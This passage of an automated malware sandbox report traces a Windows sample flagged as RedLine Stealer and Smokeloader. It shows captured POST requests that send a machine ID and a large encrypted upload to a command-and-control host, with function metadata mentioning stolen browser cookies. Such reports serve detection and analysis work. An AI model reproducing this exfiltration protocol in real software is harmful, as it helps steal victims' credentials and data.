2024-04-22 20:27:06 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 3798 Host: strollheavengwu.shop
2024-04-22 20:27:06 UTC	3798	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 46 33 46 30 43 30 41 42 45 30 36 44 44 33 38 43 38 41 41 42 46 32 45 45 45 45 31 32 34 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 73 75 70 65 72 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"70F3F0C0ABE06DD38C8AABF2EEEE124D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--super
2024-04-22 20:27:07 UTC	812	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 20:27:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=00bem2fqpr7hben3bvkbjuqhq0; expires=Fri, 16-Aug-2024 14:13:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fB9SmgU7lAioUL3dYxebxxyG2ctYMqS3Y4%2FH1Wf%2F6xIAtgZ%2B5xjzpfXtFsKYcUQEHYNBoB%2BcFrmHdaq4PCu7iWDmr4Jabhpx8U7A8OkfUuybGYPxzPbO8W7GWkW8sauZ%2BIYJYeOgKA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87885a477f47458e-ATL alt-svc: h3=":443"; ma=86400
2024-04-22 20:27:07 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-22 20:27:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	104.21.15.198	443	7352	C:\Users\user\Desktop\iPUk65i3yI.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 20:27:07 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1417 Host: strollheavengwu.shop
2024-04-22 20:27:07 UTC	1417	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 46 33 46 30 43 30 41 42 45 30 36 44 44 33 38 43 38 41 41 42 46 32 45 45 45 45 31 32 34 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 73 75 70 65 72 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"70F3F0C0ABE06DD38C8AABF2EEEE124D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--super
2024-04-22 20:27:08 UTC	818	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 20:27:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=en1h18aotr44b2lgu7kr2emfn9; expires=Fri, 16-Aug-2024 14:13:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qrZtAd1I6%2BdYag2xdx6%2FD%2BifsETKUt9O%2F0mK5OZ1aT6MZe9LrtTm7sLor7ND0%2FxGbQ%2BkjEUOYapMBRPPKbDmYEFFDINPyQnebXYRmOcNimNR1WP%2FNC4SB10fR0hU6%2BoQKnGr3GRyNQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87885a4c6f371371-ATL alt-svc: h3=":443"; ma=86400
2024-04-22 20:27:08 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-22 20:27:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	104.21.15.198	443	7352	C:\Users\user\Desktop\iPUk65i3yI.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-22 20:27:09 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 556781 Host: strollheavengwu.shop
2024-04-22 20:27:09 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 46 33 46 30 43 30 41 42 45 30 36 44 44 33 38 43 38 41 41 42 46 32 45 45 45 45 31 32 34 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 73 75 70 65 72 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"70F3F0C0ABE06DD38C8AABF2EEEE124D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--super
2024-04-22 20:27:09 UTC	15331	OUT	Data Raw: 3e 99 d8 21 a2 96 c6 18 d7 14 65 ba a2 08 b1 31 4a 50 49 12 19 71 b8 05 3d e6 66 d7 91 43 64 48 81 cb cb b6 ca 31 bb f5 c5 9a 2e 86 89 72 88 89 43 37 f1 83 51 15 3d 88 6a bb 01 db ec 4a 07 4c cb a8 8a b9 f2 ca 73 24 21 33 d2 64 a3 7c d7 0e c5 7f 2a 36 85 bf db e8 64 f7 19 4a 9c 6f a2 e8 16 f4 cd 7d 59 08 72 d5 8b 3c c2 af 91 31 4d eb cb ed 8b 8e 65 ea 03 71 3f ba 84 c3 3a 89 22 86 31 6a d7 d1 57 b6 19 d1 70 0c 39 7c 9d fb c0 03 0e ea be 96 7b ef 72 1b bf 7f be b9 bc 56 bb 79 c2 8e 72 e9 f8 21 ec 32 31 11 b3 b7 61 d4 29 cd e3 6c 6f 94 79 ba 48 7c f8 45 43 e9 a7 75 ea 41 07 13 d6 2f 65 64 ca 45 50 55 4f 0f fb ac 9d 92 46 9e b7 4b 4d 00 78 35 84 24 33 df 57 ad cf f0 3a a0 ba 03 6f 91 3a 89 fd 2c 0f 1c 90 6f d1 05 29 ec 9a 43 51 9b ed 5e 65 ad 48 e6 05 84 00 Data Ascii: >!e1JPIq=fCdH1.rC7Q=jJLs$!3d\|*6dJo}Yr<1Meq?:"1jWp9\|{rVyr!21a)loyH\|ECuA/edEPUOFKMx5$3W:o:,o)CQ^eH
2024-04-22 20:27:09 UTC	15331	OUT	Data Raw: 80 ba f3 3a 46 ee 18 f4 14 8a 79 0d ea 6b 5b 10 9e 22 84 00 1c 70 25 30 ca bb 2f 5f 7f 47 88 79 15 f6 05 d9 98 b0 34 bd fe e3 d5 89 aa 07 f9 6d 8e 06 ff 84 db fe 14 d3 e9 79 3d 55 95 85 ed f2 c0 a0 4a c4 b8 af e0 d0 a7 4e 35 2f de 10 19 a5 d0 36 71 0e 99 67 ee b1 07 05 eb e8 9f 9d cf b1 bd 3c f1 2d c1 29 f7 4c de be da ad 0a 56 6b 39 80 61 a5 af 26 ec 6a 89 dc 8b 29 39 3d 01 4e 54 bb 52 5d 91 29 c3 83 fb 2f f9 23 77 4c 68 7f 7c 5a 3b 2d de e5 4e ba 52 4b 3d 7d c2 ae 3f c2 ff 58 96 69 a1 64 dd 1d 8c f7 13 33 05 86 ce 56 2f fe b7 87 f4 69 99 bb e5 08 af c7 a4 27 2e b3 eb 2c dc 32 07 12 3a 4e 13 8a b1 8a 4f f2 17 c7 34 0b 54 90 5d 27 0f 15 5e d6 14 ee 2e 78 3e a3 f3 16 ca 3c 68 90 2f 85 7a 83 6a 90 0b ed cd bd 61 ad 24 7b 7e a1 49 18 4f 9f e9 40 bd 27 a9 e4 Data Ascii: :Fyk["p%0/_Gy4my=UJN5/6qg<-)LVk9a&j)9=NTR])/#wLh\|Z;-NRK=}?Xid3V/i'.,2:NO4T]'^.x><h/zja${~IO@'
2024-04-22 20:27:09 UTC	15331	OUT	Data Raw: 14 25 3f 85 ce f5 07 76 ce 8f cc dd 4c 89 79 dc e8 89 b5 61 3e b2 31 3d 87 6f e7 e1 7a cb cc 0a f1 15 a1 c5 43 2b ae ab 02 85 e8 66 c6 28 f8 c8 9d 48 54 6b e2 3a f2 47 7e 72 d4 55 73 d5 32 25 4c 5a 50 de 05 a4 a6 d8 d5 0f 52 dc a9 e0 5e e2 09 ff da 07 e9 87 cc 7e f0 4c 3e 53 33 c0 cd 02 ec 20 df cb 30 4b 39 f8 83 4e 28 26 b8 d7 d5 19 85 da 7f d3 5b 6b 14 75 75 04 f1 83 51 e3 7f 3a 03 dc 8d ec 0a 3e 87 94 36 8b 3f e8 ea 70 08 fe a4 cb 57 d0 6c 4e 93 ef 0b 29 d9 dd f2 ce 48 1f 2e 7f 63 e4 24 90 26 1f ae 91 4d 45 ed a0 7b cc 9f fa 96 5b 2f 7f 48 5d d6 d3 ee 72 5e da 92 f5 39 be 2b 62 70 3a a8 64 d7 5c e7 da 07 94 43 a9 68 75 e0 7c 7d 09 85 7b 4e cb 1a e3 39 86 17 7e 87 eb 38 6e e6 91 13 34 f2 4d f6 6a ed f3 ea ba e9 2d dc a6 01 6e bd 99 e4 71 d3 6a ce ec 35 Data Ascii: %?vLya>1=ozC+f(HTk:G~rUs2%LZPR^~L>S3 0K9N(&[kuuQ:>6?pWlN)H.c$&ME{[/H]r^9+bp:d\Chu\|}{N9~8n4Mj-nqj5
2024-04-22 20:27:09 UTC	15331	OUT	Data Raw: 10 56 e1 b0 35 a9 22 bf de 59 e2 8e 41 45 b9 88 f0 88 6e ae 9c 0f 0e 7a 03 cd ba 18 c4 9d b9 45 8a 08 f6 d5 24 a6 04 17 77 85 a9 a3 75 70 f1 14 2b a5 2f ea c3 73 d0 cf c1 b7 9e 0e c6 86 28 d2 b4 08 df cf 05 e7 18 d2 5a 7f f6 11 ee 1e ff fc cb 27 20 05 da e5 ec f3 9d 75 81 dc 5d a2 d3 0b cf 28 71 05 1b d3 2c 72 5f db 6b 07 f3 be a0 92 1d 86 27 13 14 52 ee 69 e3 98 2e 34 4a 83 1d de d1 42 41 26 50 a5 09 3d ae 34 ed d4 9b d0 4a 69 62 b5 5d 21 98 d3 88 cd 1d a1 cc db c2 9f 41 96 ee fc 14 26 3b 62 05 a9 6d f5 41 57 63 73 b3 cf de 83 86 c2 9c d5 e5 22 1b b3 e4 c9 13 0e 3f b2 55 0c 65 4d c8 63 3b 6d ef e6 ff 21 46 a8 5b 39 e3 5e cf 5b f6 d1 04 58 7d f9 ef 76 19 e7 cb f8 6a 0b 61 de fe df 8a 67 b4 a6 f2 ff 86 5b 04 d0 76 4b 08 c7 e2 c0 ce 42 19 41 d0 75 e3 9f 86 Data Ascii: V5"YAEnzE$wup+/s(Z' u](q,r_k'Ri.4JBA&P=4Jib]!A&;bmAWcs"?UeMc;m!F[9^[X}vjag[vKBAu
2024-04-22 20:27:09 UTC	15331	OUT	Data Raw: a8 33 98 00 8c 1f cf 04 7e f2 08 8f 9b dc 5d 1e 56 bb 46 83 81 69 18 f7 9a f2 74 81 3a a6 47 36 fc fa ad 34 f1 60 b5 c5 77 1e 56 72 21 93 6b 49 8e bd e1 e7 66 2c 6f 2f e4 1a 87 a4 91 9a 3f e3 af 31 e4 67 b9 59 78 ac d8 ca be f9 1a b1 d9 0a ab 70 6b 47 62 4f f0 04 5b 89 af f6 13 a1 87 5f 87 2d 3a 72 71 dc d9 19 7c e4 ee 62 48 61 96 c3 ae 57 0e df 12 04 83 2c 34 c1 3b 96 7e bb ec f7 0f 28 e7 0f 63 fd 40 28 7c 08 e4 38 7c 70 4c f7 78 78 88 c2 0e 1b cb 14 06 6f 37 e7 be 06 7c 18 ad 05 f3 0f 5f b2 9c 7e 7c 1f 9f ff 70 3b 7a 65 ae a7 d3 90 77 be 90 74 4f 60 f6 86 ce 96 66 65 c9 ae ee e2 99 57 e3 6f b2 52 1f ca 53 59 dc 38 d6 6b 5d 10 e4 3b 26 ce 19 88 f3 6b da 72 b9 3e 57 21 a1 b0 1a 48 5d 8e 6d 3b 00 b4 bf 02 0a 17 fb 77 00 ed c2 04 6b 5b fe 73 bd eb 52 d3 77 Data Ascii: 3~]VFit:G64`wVr!kIf,o/?1gYxpkGbO[_-:rq\|bHaW,4;~(c@(\|8\|pLxxo7\|_~\|p;zewtO`feWoRSY8k];&kr>W!H]m;wk[sRw
2024-04-22 20:27:09 UTC	15331	OUT	Data Raw: 7b 63 27 51 70 a9 f9 4e 1c d8 86 38 c7 4f 31 e2 0b 8e 8d a9 b0 3e 74 6a 3c 07 6f a3 5c e3 09 ed 96 fa a5 35 00 b7 aa 48 c1 b4 d8 68 f8 7a d6 82 c8 91 eb 7f b0 9d 09 45 81 88 1b 72 f0 13 ff 57 f7 93 10 4b 75 8e 64 41 ae a7 1a 71 00 7e bf 7d c6 1a ce b8 89 fd e0 18 e6 51 35 be d1 5c 20 8e 24 4f e2 3b 37 51 f8 82 a0 b9 c2 1b 4f 42 54 dc 03 44 cc 40 95 d4 94 0a b0 c5 58 ee 49 d7 67 99 26 1a e9 6f 78 ca 12 3f 2d 27 fb 3e ca 3c 01 b9 36 04 a6 b4 b2 2f 42 18 a5 cc 0a 96 67 71 51 6d cd ce 23 55 5f cd c8 77 65 2b 9b fc b0 eb a6 33 a4 23 d7 05 a0 f7 98 fa 6a b3 f8 cc 23 71 90 90 c0 2a 66 2d bc b2 10 36 be cb 39 67 91 19 6d d0 10 f1 7e aa 4e 1f f5 46 d9 06 ca ac e0 d7 23 25 ff de 81 15 14 c0 40 28 f1 51 87 22 fe 14 c9 68 9a 0c 7f a9 47 c0 5a c7 32 55 3e 4a fb ac d0 Data Ascii: {c'QpN8O1>tj<o\5HhzErWKudAq~}Q5\ $O;7QOBTD@XIg&ox?-'><6/BgqQm#U_we+3#j#q*f-69gm~NF#%@(Q"hGZ2U>J
2024-04-22 20:27:09 UTC	15331	OUT	Data Raw: d2 fd 97 5d cf cf 16 86 61 e9 eb 1d 62 9d 46 47 62 ba 94 2c 75 79 86 80 a0 c0 19 57 ae 25 d7 40 31 aa 6c d6 68 58 a1 d6 e8 53 84 79 a8 46 e7 88 23 49 22 d2 fd 75 e1 40 cf 3a 8c 6f 36 79 1e d3 6e 1e 3c b9 5b 22 3f 91 34 89 af 4f 6f 88 7e ad 58 76 28 f7 04 55 70 14 ef 93 a4 6c 77 78 35 5d 22 1c 7c 85 66 f6 ff b4 4a c9 29 30 8e 8b 91 00 3f 9d 66 5e dd c6 af ae 3d c1 4e 8b 2d a8 e4 23 c7 5f cf d0 ac 78 02 5c c3 92 f1 f8 a9 68 93 ae 2f 76 ef 05 f9 b7 94 bb 93 7d a1 91 58 fe ae 4f 54 ea c6 f7 72 da c4 60 71 a2 a9 81 3f 7e 92 a5 f7 70 95 ad 5e 55 dc 18 3f 73 8d fb b3 bd 52 d9 3e ff 76 33 af 9e 61 c8 2b 29 5a 99 62 fe dc 30 2a a9 17 2f 4a 7a eb 7a 77 46 b5 57 0d 99 50 7a a6 b7 55 5e 8e c7 d3 99 7c 3d 03 e5 43 ad e6 18 9e 93 e3 2f 95 4b 21 be b2 6e 7d f1 0f 29 cc Data Ascii: ]abFGb,uyW%@1lhXSyF#I"u@:o6yn<["?4Oo~Xv(Uplwx5]"\|fJ)0?f^=N-#_x\h/v}XOTr`q?~p^U?sR>v3a+)Zb0*/JzzwFWPzU^\|=C/K!n})
2024-04-22 20:27:09 UTC	15331	OUT	Data Raw: 8e b1 4d f5 5a ef 3d ae 42 bd 3e 57 71 e5 06 c8 95 2b 03 37 fd 25 6f a6 59 e7 66 67 a0 f3 02 51 c1 45 0e b8 fb 35 5c dc b2 cc 9f f7 cb fb 59 ef 0c a5 da 7d e2 13 39 db c6 54 0b 0d 2c 6a 77 e0 58 f0 4d 10 86 a2 08 ba 29 47 a0 2c 39 9e 62 e4 d4 6f fd c5 ba c2 63 73 a4 60 f1 b3 36 36 c5 b9 c7 3d 3f dd 99 26 9c 7f 9f 58 8e dd ef 39 42 16 5f d3 59 d6 10 45 71 bc 16 13 3a c0 49 27 42 b4 5a 43 76 66 4e 7e 6a 71 72 76 a7 5c 6c 5e d0 eb ec 46 aa 0c e8 ae 8a 11 16 1d af 52 9e 39 8e c4 72 4c 84 fd ed a3 b3 ac ac 2c c6 d3 eb 7d 3b 17 aa 41 57 54 cd 5f 29 a9 8f a6 37 ff 36 7a 6a b3 d8 8d 86 a5 91 88 ff 13 98 e1 b8 ca 1a 04 ed 33 a7 4f e4 c3 d5 a6 9c f3 cd 32 b7 c9 37 08 9e 84 a1 e8 fd 6d d6 32 ca b1 77 43 50 0a fd 21 3d bd 74 f1 02 b7 69 7e e6 c4 b5 8e 68 f2 04 4a f4 Data Ascii: MZ=B>Wq+7%oYfgQE5\Y}9T,jwXM)G,9bocs`66=?&X9B_YEq:I'BZCvfN~jqrv\l^FR9rL,};AWT_)76zj3O27m2wCP!=ti~hJ
2024-04-22 20:27:09 UTC	15331	OUT	Data Raw: 15 88 cf 62 c0 5b d3 62 51 85 1d e0 e5 5b 1f 36 df 3c 96 7d 8d c1 8b 05 7c 1d 10 37 db 69 45 ba 2a 76 9a d6 92 57 84 20 de 03 b9 cf eb 51 d1 fd 09 a6 78 e1 f7 e7 24 26 77 5c 9c fb 38 67 21 b1 a2 03 b6 4c 69 b4 6a 70 5e 54 e6 ce a2 60 13 ed d4 6b 16 0f 3b b8 2f 90 f8 d9 26 b5 8d 63 70 9c c0 69 ab c4 44 a5 88 5b e0 fe ce 8f 8d 15 5b 1c 71 8d a3 28 ea 2f fb ff 61 97 59 42 a8 4c 26 09 44 75 75 dd 96 c0 4c 59 13 6c 40 de 7b d7 18 13 74 4c 6f 83 d3 b6 cc 63 fb f8 6c 73 6e 98 1c 41 fc 85 f1 16 6c 8c 30 d8 27 ad 7f 17 53 74 e3 54 e5 a8 38 35 17 ac 29 60 b7 a1 4a 4b 20 a1 b5 1d 09 c3 6e ce e3 a6 c6 77 fd a4 c0 db ee df d6 fa 17 5d e0 f1 70 d5 62 4b 10 2e bc ee 6f 6f dc 1a 2c 22 a2 4e 33 9b 05 2f b5 f1 c5 9d 87 6e 57 59 fc 34 a9 35 da 8b 5c ca fc ad be 17 53 60 80 Data Ascii: b[bQ[6<}\|7iE*vW Qx$&w\8g!Lijp^T`k;/&cpiD[[q(/aYBL&DuuLYl@{tLoclsnAl0'StT85)`JK nw]pbK.oo,"N3/nWY45\S`
2024-04-22 20:27:10 UTC	806	IN	HTTP/1.1 200 OK Date: Mon, 22 Apr 2024 20:27:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a038sln23blcs7gg1q5uahe1fn; expires=Fri, 16-Aug-2024 14:13:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CcJ1N6AhrWw7oQWnYCyQA3OcsmYTFGqxzwIYy4GD3htnXg85lvW0U96Kqm6idFbCDsuYyUKwNRwLIQYFAZ7yk4XyGiV3m3J36PwOGW7tO%2BeyiWT0ucFw%2BKdqlJk8Y1XPmMOsb83NNg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87885a562c31ad6a-ATL alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	22:26:58
Start date:	22/04/2024
Path:	C:\Users\user\Desktop\iPUk65i3yI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\iPUk65i3yI.exe"
Imagebase:	0x400000
File size:	370'688 bytes
MD5 hash:	76845F267F56CB0FCC216D4AC9548131
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1992264656.0000000002D77000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1992169262.0000000002CF0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:27:10
Start date:	22/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7352 -s 1548
Imagebase:	0xd50000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.9%
Dynamic/Decrypted Code Coverage:	9.4%
Signature Coverage:	27.1%
Total number of Nodes:	361
Total number of Limit Nodes:	19

Executed Functions

Function 0041CAEC Relevance: 16.9, APIs: 2, Strings: 7, Instructions: 1109COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0041D77D
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 0041D7A8

Strings

onqp, xrefs: 0041CB78
onqp, xrefs: 0041D2B8
-^, xrefs: 0041D6B7
AV, xrefs: 0041D6AF
SE, xrefs: 0041D6A7
[info] collected cookies file of the chromium-based browser, xrefs: 0041CCFF
X&, xrefs: 0041D6BF

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: -^$AV$SE$X&$[info] collected cookies file of the chromium-based browser$onqp$onqp
API String ID: 237503144-3553015444
Opcode ID: c3e7ce5279bbfde57a6df063cb837e0ba5410395dca0e577725f3cf45325333f
Instruction ID: 03b20d697cc4d4ceda3fd1ee009f6e38ade5153744173ede794293296183730d
Opcode Fuzzy Hash: c3e7ce5279bbfde57a6df063cb837e0ba5410395dca0e577725f3cf45325333f
Instruction Fuzzy Hash: F4829A79608341CFE314CF18D89076BB7E2FB8A314F198A2DE4959B3A1D778D845CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00423943 Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 643
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 0042451D
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00424618

Strings

Z8J*, xrefs: 00424A1B
+u7, xrefs: 00424AE1

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: ComputerName
String ID: +u7$Z8J*
API String ID: 3545744682-3577212644
Opcode ID: e5e2bda020c127f40aa795968d0effa3993ca4e991fe1260367e154c84f4a601
Instruction ID: 165055785b86ff1ff65636ea23ef9f62a0f191231776936cceeb048ae6667778
Opcode Fuzzy Hash: e5e2bda020c127f40aa795968d0effa3993ca4e991fe1260367e154c84f4a601
Instruction Fuzzy Hash: 10328E70244B528AD729CB34D464BE3BBE1EF57308F484A6DD0FB8B682D778A406CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00424084 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 676
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 0042451D
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00424618

Strings

P6D/, xrefs: 0042451F

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: ComputerName
String ID: P6D/
API String ID: 3545744682-4117495492
Opcode ID: ec06e984c2a30449314d1b88ce17414e3d69ff200de55d535a507df5e3aeb3c0
Instruction ID: 24e67b7c81de9a4d5bd346c315e300abd70e7ef5a1aa41be01d77cb8b643429b
Opcode Fuzzy Hash: ec06e984c2a30449314d1b88ce17414e3d69ff200de55d535a507df5e3aeb3c0
Instruction Fuzzy Hash: 0F328D70204B928AD726CB34D494BE3BBE1EF57309F48496DD0FB8B282C7796446CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00424087 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 650
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 0042451D

Strings

P6D/, xrefs: 0042451F

Memory Dump Source

Source File: 00000000.00000002.1989472630.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1989472630.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iPUk65i3yI.jbxd

Similarity

API ID: ComputerName
String ID: P6D/
API String ID: 3545744682-4117495492
Opcode ID: 34397599d365594b1f27bb1d2b1b2e758320cc75eb18bdda5297ea087a9b94d1
